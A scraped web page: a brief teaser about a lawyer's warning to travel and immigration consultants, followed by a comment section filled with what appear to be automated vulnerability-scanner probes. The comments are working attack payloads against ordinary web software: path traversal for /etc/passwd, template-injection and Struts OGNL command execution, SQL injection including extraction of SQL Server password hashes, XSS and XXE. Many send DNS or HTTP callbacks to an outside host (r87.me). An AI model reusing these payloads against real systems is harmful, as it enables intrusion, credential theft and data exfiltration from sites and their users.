Follow the stories of academics and their research expeditions
In the world of travel business and immigration consulting, opportunities abound—but so do risks.
https://www.linkedin.com/pulse/very-careful-travel-immigration-clients-advice-from-our-lawyer-lq5ic
While helping clients pursue their dreams of studying, working or settling abroad can be fulfilling, it also comes with serious legal, ethical and reputational responsibilities.
Recently, our lawyer gave us strong advice that every consultant, agency and freelance advisor or even travel language educators like us in this field should take to heart:
???? “Be very careful with travel and immigration clients.”...
Kindly read, like, comment on and share. Thanks!
Sun, 17 May 2026
/../../../../../../../../../../AppServ/Apache24/logs/access.log
Reply
Sun, 17 May 2026
. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /etc/passwd
Reply
Sun, 17 May 2026
.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///etc/passwd
Reply
Sun, 17 May 2026
....//....//....//....//....//....//....//....//....//....//....//etc/passwd
Reply
Sun, 17 May 2026
...//...//...//...//...//...//...//...//...//...//...//etc/passwd
Reply
Sun, 17 May 2026
__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgbGVvMnlpeDRfZDMyeTFrOGdzMGxmOXF1Z2ljbms4Y201MXRzN3J1OWllOC5yODcubWU=')).read()
Reply
Sun, 17 May 2026
require 'resolv';Resolv.getaddress ("leo2yix4_dlcbuj6ar43inx2dgoskfm6a0ig0omx".concat "xpm.r87.me")
Reply
Sun, 17 May 2026
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("cmd.exe /c nslookup leo2yix4_deyxm9tti186toesbcymfaujbfbzinu"+"zvw.r87.me") }
Reply
Sun, 17 May 2026
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<<bnNsb29rdXAgbGVvMnlpeDRfZHVpdnE4ejItZ2RyN204aWg0cG1qZnJ6dnBndDNycWxxcy5yODcubWU=|{base64,--decode})}") }
Reply
Sun, 17 May 2026
<%= "#{(require'base64';%x(#{Base64.urlsafe_decode64('bnNsb29rdXAgbGVvMnlpeDRfZDFvZzJjN2ttN3dtdGs2dzdleGJzdGJxN2RjcHZxbWRpdS5yODcubWU=')})).to_s}" %>
Reply
Sun, 17 May 2026
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("nslookup leo2yix4_d8fsw0dlrpiumsvuqgerai7rixkyrig"~"25i.r87.me")}}
Reply
Sun, 17 May 2026
{php}Smarty_Resource::parseResourceName(system("nslookup leo2yix4_dutmx-jw-jp9gykawjhaoielppqtfxi"."tis.r87.me"),'b');{/php}
Reply
Sun, 17 May 2026
. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini
Reply
Sun, 17 May 2026
<%- global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgbGVvMnlpeDRfZDB3YnVjemczajV3b2NrYWZpYTNnaWxkd3licWp6dGl6YS5yODcubWU=','base64').toString()) %>
Reply
Sun, 17 May 2026
.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini
Reply
Sun, 17 May 2026
= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgbGVvMnlpeDRfZDM3dXl3dGFzdWx3bXB0aWtpb2JfNGg3b214MHRoZjdsOC5yODcubWU=','base64').toString())
Reply
Sun, 17 May 2026
....//....//....//....//....//....//....//....//....//....//....//windows/win.ini
Reply
Sun, 17 May 2026
{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnYkdWdk1ubHBlRFJmWkY5NmRXMWhOMjVyZFhsMWVqUmxaalowTFdocWFHWmxOMjB0ZDNGMmNYZHFOQzV5T0RjdWJXVT0nKSkucmVhZCgp'))" %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval'](d) }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
Reply
Sun, 17 May 2026
...//...//...//...//...//...//...//...//...//...//...//windows/win.ini
Reply
Sun, 17 May 2026
{{__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgbGVvMnlpeDRfZHdfZDB2dmQxdWxxaTYwcWRuNWhvYTg4Ymp2ZjhuZThqaS5yODcubWU=')).read()}}
Reply
Sun, 17 May 2026
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup "leo2yix4_dsdz-qmame2scdrmcsxxfkh4hof3uls"hhm.r87.me"').(#p=new java.lang.ProcessBuilder({'cmd.exe','/c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
Reply
Sun, 17 May 2026
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup `whoami`."leo2yix4_dssaqe7p9ucup4v_pcosy13j8q8zmtr""gj0.r87.me"').(#p=new java.lang.ProcessBuilder({'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
Reply
Sun, 17 May 2026
|nslookup${IFS}"leo2yix4_dxfpgg38btykqy23oh0qsg8jguahgfc""a5g.r87.me"
Reply
Sun, 17 May 2026
<frame src="[removed]netsparker(0x179476)"></frame>
Reply
Sun, 17 May 2026
"&nslookup "leo2yix4_d55fldf8jufovhkp-lb15yduzxx2-kl""kbc.r87.me"
Reply
Sun, 17 May 2026
'&nslookup "leo2yix4_durgy9zfta59akuog5trga8aje5ld_0""czw.r87.me"
Reply
Sun, 17 May 2026
&nslookup "leo2yix4_d6z5ekvf0ix1xnx6dz5bf5cwa8avd5e""dha.r87.me"
Reply
Sun, 17 May 2026
nslookup "leo2yix4_ddpb77spbbpzg0qpawxd3fohsif-why""cqq.r87.me"
Reply
Sun, 17 May 2026
"& nslookup leo2yix4_dj2xgfcx_m7mgzcjg76hznzkauwgd0o^wum.r87.me&'\"`0&nslookup leo2yix4_dj2xgfcx_m7mgzcjg76hznzkauwgd0o^wum.r87.me&`'
Reply
Sun, 17 May 2026
<html xmlns="http://www.w3.org/1999/xhtml">[removed]netsparker(0x178F46)[removed]</html>
Reply
Sun, 17 May 2026
'& nslookup leo2yix4_de3dcm4mdxcwwek_gojcfo40tbg1x2h^dye.r87.me&'\"`0&nslookup leo2yix4_de3dcm4mdxcwwek_gojcfo40tbg1x2h^dye.r87.me&`'
Reply
Sun, 17 May 2026
ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................
Reply
Sun, 17 May 2026
& nslookup leo2yix4_ddwlqba7gapln5mkdxia1cwh7dy6am7^yws.r87.me&'\"`0&nslookup leo2yix4_ddwlqba7gapln5mkdxia1cwh7dy6am7^yws.r87.me&`'
Reply
Sun, 17 May 2026
'"@--></style>[removed][removed]netsparker(0x178E49)[removed]
Reply
Sun, 17 May 2026
nslookup leo2yix4_doo5b6viauw95jefechqnahkwpfqrvd^5q4.r87.me&'\"`0&nslookup leo2yix4_doo5b6viauw95jefechqnahkwpfqrvd^5q4.r87.me&`'
Reply
Sun, 17 May 2026
"+gethostbyname(lc 'leo2yix4_doddmz5d_ujomtcrm8vkb7ma11sapcp'.'8xs.r87.me')+"
Reply
Sun, 17 May 2026
'+gethostbyname(lc 'leo2yix4_dv1g_tl9lc4w_l-nok4wr29c3klhnbj'.'urq.r87.me')+'
Reply
Sun, 17 May 2026
eval('gethostbyname(lc 'leo2yix4_d7upqblgzpfouw0tsrr0jhhxrugywxv'.'fr4.r87.me')')
Reply
Sun, 17 May 2026
gethostbyname(lc 'leo2yix4_dxexas0td1yhdgrinfthlejuzvl--qn'.'r3m.r87.me')
Reply
Sun, 17 May 2026
"+createobject("WScript.Shell").exec("nslookup leo2yix4_dnfdieonfz6idqd3qqprwwhgrgqmv7w" & "cai.r87.me").StdOut.ReadAll+"
Reply
Sun, 17 May 2026
<%createobject("WScript.Shell").exec("nslookup leo2yix4_dd2swsaqcnldswj5qbd6keoabij9rfc" & "fse.r87.me").StdOut.ReadAll%>
Reply
Sun, 17 May 2026
+createobject("WScript.Shell").exec("nslookup leo2yix4_ddw-uatjzcfmmax5tjxbzs6e3m2wheq" & "zv4.r87.me").StdOut.ReadAll+
Reply
Sun, 17 May 2026
+createobject("WScript.Shell").exec("nslookup leo2yix4_dvldlmdotnoad5bppob7ctfwuicn3dj" & "snq.r87.me").StdOut.ReadAll
Reply
Sun, 17 May 2026
__import__('os').popen(('SET /A 268409241 - {0}').format('81025')).read()
Reply
Sun, 17 May 2026
createobject("WScript.Shell").exec("nslookup leo2yix4_dvuj3ggz6a79dc8-zmzpiplmps0fezp" & "zdi.r87.me").StdOut.ReadAll
Reply
Sun, 17 May 2026
__import__('os').popen(('expr 268409241 - {0}').format('75878')).read()
Reply
Sun, 17 May 2026
'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(49)||chr(115)||chr(103)||chr(114)||chr(117)||chr(111)||chr(105)||chr(45)||chr(49)||chr(113)||chr(56)||chr(108)||chr(100)||chr(103)||chr(98)||chr(52)||chr(50)||chr(108)||chr(112)||chr(114)||chr(108)||chr(117)||chr(107)||chr(111)||chr(102)||chr(108)||chr(102)||chr(114)||chr(101)||chr(52)||chr(99)||chr(111)||chr(56)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||'
Reply
Sun, 17 May 2026
'{${gethostbyname(trim('leo2yix4_daw5pgkqy7jyb3rwxffbp7upmujjcep'.'nno.r87.me'))}}'
Reply
Sun, 17 May 2026
1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1
Reply
Sun, 17 May 2026
(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(111)||chr(122)||chr(51)||chr(104)||chr(99)||chr(107)||chr(113)||chr(106)||chr(105)||chr(52)||chr(121)||chr(107)||chr(50)||chr(105)||chr(117)||chr(55)||chr(107)||chr(104)||chr(100)||chr(115)||chr(122)||chr(97)||chr(100)||chr(102)||chr(118)||chr(109)||chr(45)||chr(113)||chr(107)||chr(104)||chr(107)||chr(117)||chr(113)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))
Reply
Sun, 17 May 2026
<? gethostbyname(trim('leo2yix4_dr1qapdpwididpwo4tgha53-f_hxq_b'.'c9s.r87.me'));//?>
Reply
Sun, 17 May 2026
%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("a",268409241-28448)}
Reply
Sun, 17 May 2026
1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '
Reply
Sun, 17 May 2026
(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(57)||chr(98)||chr(110)||chr(56)||chr(119)||chr(120)||chr(122)||chr(54)||chr(119)||chr(112)||chr(54)||chr(106)||chr(119)||chr(98)||chr(109)||chr(50)||chr(99)||chr(57)||chr(119)||chr(108)||chr(52)||chr(110)||chr(121)||chr(107)||chr(98)||chr(115)||chr(103)||chr(51)||chr(52)||chr(49)||chr(109)||chr(115)||chr(56)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)
Reply
Sun, 17 May 2026
"+gethostbyname(trim('leo2yix4_difqo4qnfzl20da5pcx7u9bdhynkzm8'.'76e.r87.me'))+"
Reply
Sun, 17 May 2026
'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_dzbw6gfakuy-etiugxgxrgcesclnrds'||'b7o.r87.me') from DUAL))||'
Reply
Sun, 17 May 2026
(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)
Reply
Sun, 17 May 2026
arguments[1].end(require('child_process').execSync('set /A 268409241 - 18291'))
Reply
Sun, 17 May 2026
'+gethostbyname(trim('leo2yix4_dscwjth9sec6erte3pvoaichcso2jiw'.'xt4.r87.me'))+'
Reply
Sun, 17 May 2026
(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_dft1m0rnkzyj1tnufwfycvcgjviaait'||'pei.r87.me') from DUAL))))
Reply
Sun, 17 May 2026
-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1
Reply
Sun, 17 May 2026
arguments[1].end(require('child_process').execSync('expr 268409241 - 52115'))
Reply
Sun, 17 May 2026
+gethostbyname(trim('leo2yix4_ddgwyu0zhddr9xo5eraqopv7qimp9zm'.'ama.r87.me'));//
Reply
Sun, 17 May 2026
(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_dfjoaearwvowpetseueqvsq5fahxrgn'||'pok.r87.me') from DUAL)
Reply
Sun, 17 May 2026
-1'+and+6=3+or+1=1+(SELECT+1+and+ROW(1,1)>(SELECT+COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)+'
Reply
Sun, 17 May 2026
gethostbyname(trim('leo2yix4_dyasyz07dumo3ie5v70dwszhm87haio'.'t9o.r87.me'));
Reply
Sun, 17 May 2026
'||(SELECT dblink_connect('host=leo2yix4_d_lkxba8kdez35g8csdgxjivlbmdy1g'||'2xy.r87.me user=a password=a connect_timeout=2'))||'
Reply
Sun, 17 May 2026
1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/
Reply
Sun, 17 May 2026
'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'
Reply
Sun, 17 May 2026
gethostbyname(trim('leo2yix4_dwwndabu5qjujueqbfq8xqup7fh6e9v'.'n80.r87.me'))
Reply
Sun, 17 May 2026
cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(114)||chr(102)||chr(98)||chr(99)||chr(105)||chr(110)||chr(100)||chr(106)||chr(108)||chr(115)||chr(108)||chr(116)||chr(104)||chr(107)||chr(122)||chr(114)||chr(112)||chr(120)||chr(114)||chr(51)||chr(121)||chr(107)||chr(52)||chr(116)||chr(112)||chr(100)||chr(120)||chr(105)||chr(50)||chr(120)||chr(122)||chr(51)||chr(56)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)
Reply
Sun, 17 May 2026
'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'
Reply
Sun, 17 May 2026
syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Reply
Sun, 17 May 2026
cast((SELECT dblink_connect('host=leo2yix4_dqnblabah0dddbk1j016cgrwb3ozspe'||'jng.r87.me user=a password=a connect_timeout=2')) as numeric)
Reply
Sun, 17 May 2026
(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))
Reply
Sun, 17 May 2026
1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Reply
Sun, 17 May 2026
dblink_connect('host=leo2yix4_dzpxd58npmkjs1ado9k3mfjebh07uex'||'1v4.r87.me user=a password=a connect_timeout=2')
Reply
Sun, 17 May 2026
1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1
Reply
Sun, 17 May 2026
1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Reply
Sun, 17 May 2026
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='59485').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Reply
Sun, 17 May 2026
SELECT dblink_connect('host=leo2yix4_dkkkaaacfepiagby0zemlw8rmdhboqs'||'aug.r87.me user=a password=a connect_timeout=2')
Reply
Sun, 17 May 2026
-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
Reply
Sun, 17 May 2026
1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Reply
Sun, 17 May 2026
-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_dqqdd-uezzybaqmg1of9r0oebkl6esh'+'dx4.r87.me')exec sp_executesql @r--
Reply
Sun, 17 May 2026
(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
Reply
Sun, 17 May 2026
[removed]JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MTc3ODZGKTwvc2NyaXB0Pg==
Reply
Sun, 17 May 2026
1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_dhhbalj3bnd2y16pdls-rzncialdzd3'+'g_o.r87.me')exec sp_executesql @r--
Reply
Sun, 17 May 2026
'"--></style>[removed][removed]netsparker(0x177735)[removed]
Reply
Sun, 17 May 2026
DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_dth4m1u1x0oh16c-7khpevecagadpvy'+'xus.r87.me')exec sp_executesql @r
Reply
Sun, 17 May 2026
'"--></style>[removed][removed]netsparker(0x1775FA)[removed]
Reply
Sun, 17 May 2026
syscolumns WHERE 2>3;exec('xp_dirtree ''\\leo2yix4_d82wgevkqz2fpmukpsf_pjnomclyqmh'+'lwu.r87.me'+'\c$\a''')--
Reply
Sun, 17 May 2026
(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)
Reply
Sun, 17 May 2026
1'))exec('xp_dirtree ''\\leo2yix4_do2zelbexeoh6hywq9zdy-5g7_qmt8u'+'cme.r87.me'+'\c$\a''')--
Reply
Sun, 17 May 2026
'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'
Reply
Sun, 17 May 2026
1))exec('xp_dirtree ''\\leo2yix4_dwjztjiod_r4a2vamhbuarmvzjhsecv'+'5li.r87.me'+'\c$\a''')--
Reply
Sun, 17 May 2026
cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)
Reply
Sun, 17 May 2026
1')exec('xp_dirtree ''\\leo2yix4_dq0n2k3ldnfsbmdv2lmmgkzapz_txnx'+'ury.r87.me'+'\c$\a''')--
Reply
Sun, 17 May 2026
(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))
Reply
Sun, 17 May 2026
1) exec('xp_dirtree ''\\leo2yix4_dtvmtlf8zcjrztx4xqm8okn93nm_anu'+'koy.r87.me'+'\c$\a''')--
Reply
Sun, 17 May 2026
-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"
Reply
Sun, 17 May 2026
-1';exec('xp_dirtree ''\\leo2yix4_dd-_fiirslrixfdvixvncc0est3mri2'+'dvs.r87.me'+'\c$\a''')--
Reply
Sun, 17 May 2026
-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
Reply
Sun, 17 May 2026
1;exec('xp_dirtree ''\\leo2yix4_dxyqbsbumec4yuqd00ea5i-lytg-ibf'+'roc.r87.me'+'\c$\a''')--
Reply
Sun, 17 May 2026
-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
Reply
Sun, 17 May 2026
declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.leo2yix4_dvh520akm-a9w519xrsyyjr7dn1pfbp'+'iru.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')
Reply
Sun, 17 May 2026
'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='
Reply
Sun, 17 May 2026
exec('xp_dirtree ''\\leo2yix4_ddnhlyznqus6agigllaiqd1aq4f2hry'+'r6m.r87.me'+'\c$\a''')
Reply
Sun, 17 May 2026
convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))
Reply
Sun, 17 May 2026
'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'
Reply
Sun, 17 May 2026
(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)
Reply
Sun, 17 May 2026
';l=document.createElement("link");l.rel="prefetch";l.href="//leo2yix4_d3znnwmssp4v8lh5hvfucmvenrg9blq"+"vss.r87.me/r/?"+location.href;document.head.appendChild(l);//
Reply
Sun, 17 May 2026
";l=document.createElement("link");l.rel="prefetch";l.href="//leo2yix4_dmiav6fxtnbydxjzcmd8r0rzebkdwbk"+"dau.r87.me/r/?"+location.href;document.head.appendChild(l);//
Reply
Sun, 17 May 2026
<fRame src=N onload="this.onload='';this.src='//leo2yix4_dwieuza7kij8_hv78s2ifwl1vfjbsmc'+'lsa.r87.me/r/?'+location.href">
Reply
Sun, 17 May 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/read=convert.base64-encode/resource=http://leo2yix4"><!ENTITY % d "_dr7sa9zr8ek3ixjhs122n6xuayd-dog6oy.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Reply
Sun, 17 May 2026
php://filter//resource=http://leo2yix4_dgaup1t_33zdtbr91fpeoqh5qbjorga2v9.r87.me/p/
Reply
Sun, 17 May 2026
http://r87.me/r/?id=leo2yix4_dvydm3wsqgicivbwsxjew9h2iongvnjo20
Reply
Sun, 17 May 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/resource=http://leo2yix4"><!ENTITY % d "_dcmdfv8l6wha1dffez8zfw4ahtt6d2opxc.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Reply
Sun, 17 May 2026
<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///etc/passwd">]><ns>&lfi;</ns>
Reply
Sun, 17 May 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "http://leo2yix4"><!ENTITY % d "_dgbh2ljsjvec35tgtbp7x_gjz9utbqkm6i.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Reply
Sun, 17 May 2026
<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]><ns>&lfi;</ns>
Reply
-1 OR 1=1 Smith
Sun, 17 May 2026
Reply